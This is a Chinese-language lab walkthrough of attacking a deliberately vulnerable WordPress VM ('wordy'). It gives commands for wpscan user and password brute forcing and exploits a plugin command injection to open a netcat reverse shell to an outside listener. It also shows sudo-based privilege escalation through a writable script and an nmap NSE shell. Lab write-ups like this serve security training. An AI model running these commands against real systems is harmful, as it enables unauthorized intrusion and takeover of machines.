信息收集
第一步当然是熟悉的主机探测查看靶机的IP地址,这里使用nmap或者apr-scan都行,我使用的是apr-scan探测较快
浏览器访问发现无法连接
需要将wordy加入到hosts文件中
/etc/hosts #host文件路径
访问成功
nmap 扫描一波端口,开放了80和22端口
这里80端口是访问成功的,接着通过wapplyzer这个插件发现使用cms的是wordpress 5.1.1 以及使用的编程语言,运行的系统,web服务器和数据库。
想想信息收集还有啥,扫描目录,查看网站结构看看有没有网站备份文件,信息泄露什么的,利用kali 里自带的nikto扫描
nikto -h http://wordy/
通过之前扫描发现了网站后台地址
直接利用wpscan爆破用户
wpscan --url http://wordy/ -e u
爆出了5个用户,其中包含了admin
接着就是爆破密码了
wpscan --url http://wordy/ -U admin,sarah,graham,mark,jens -P /usr/share/wordlists/rockyou.txt
爆个der 爆了半天,最后在靶机官网发现
根据提示,直接复制命令
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
直接利用passwords.txt 爆破
wpscan --url http://wordy/ -U admin,sarah,graham,mark,jens -P /root/passwords.txt
爆出mark的密码
漏洞发现
成功登录后台,并且看到安装了activity_monitor插件
利用kali 中的searchsploit搜索发现有个命令注入漏洞
漏洞具体位置
漏洞利用
直接用nc 反弹shell
在kali上设置监听
nc -lvvp 23333
接着在回到漏洞处,执行nc,发现输入框有字符限制,直接F12 修改
nc 192.168.56.113 23333 -e /bin/bash
成功反弹
python 获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
进入家目录查看用户
首先在jens用户目录中发现backups.sh,是个shell脚本
查看内容,执行后对网站根目录进行打包
接着又在mark用户目录中有个stuff目录,最后进入发现things-to-do.txt文件
查看内容,里面有graham用户,猜测后面的 GSo7isUM1D4应该是密码
通过之前nmap的扫描,知道系统开放了22端口且对应的服务也为ssh,尝试利用得到的graham的密码登录ssh,当然这里也可以直接用su命令切换用户
sudo -l 查看当前用户可以执行的操作,可以无密码以jens执行backups.sh
查看文件的权限,devs用户组具有写权限
graham用户在devs用户组中说明具有写权限
向backups.sh中写入/bin/bash,并以jens用户执行该文件
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
权限提升
成功得到了jens用户的shell,sudo -l查看jens用户可以无密码执行以root执行
nmap
通过一波百度,找到先写一个nmap的脚本,再使用- -script参数运行,具体如下
echo 'os.execute("/bin/sh")' > /tmp/tiquan.nse
sudo nmap --script=/tmp/tiquan.nse
养成好习惯,利用python获取交互式shell
进入root目录,得到最后的flag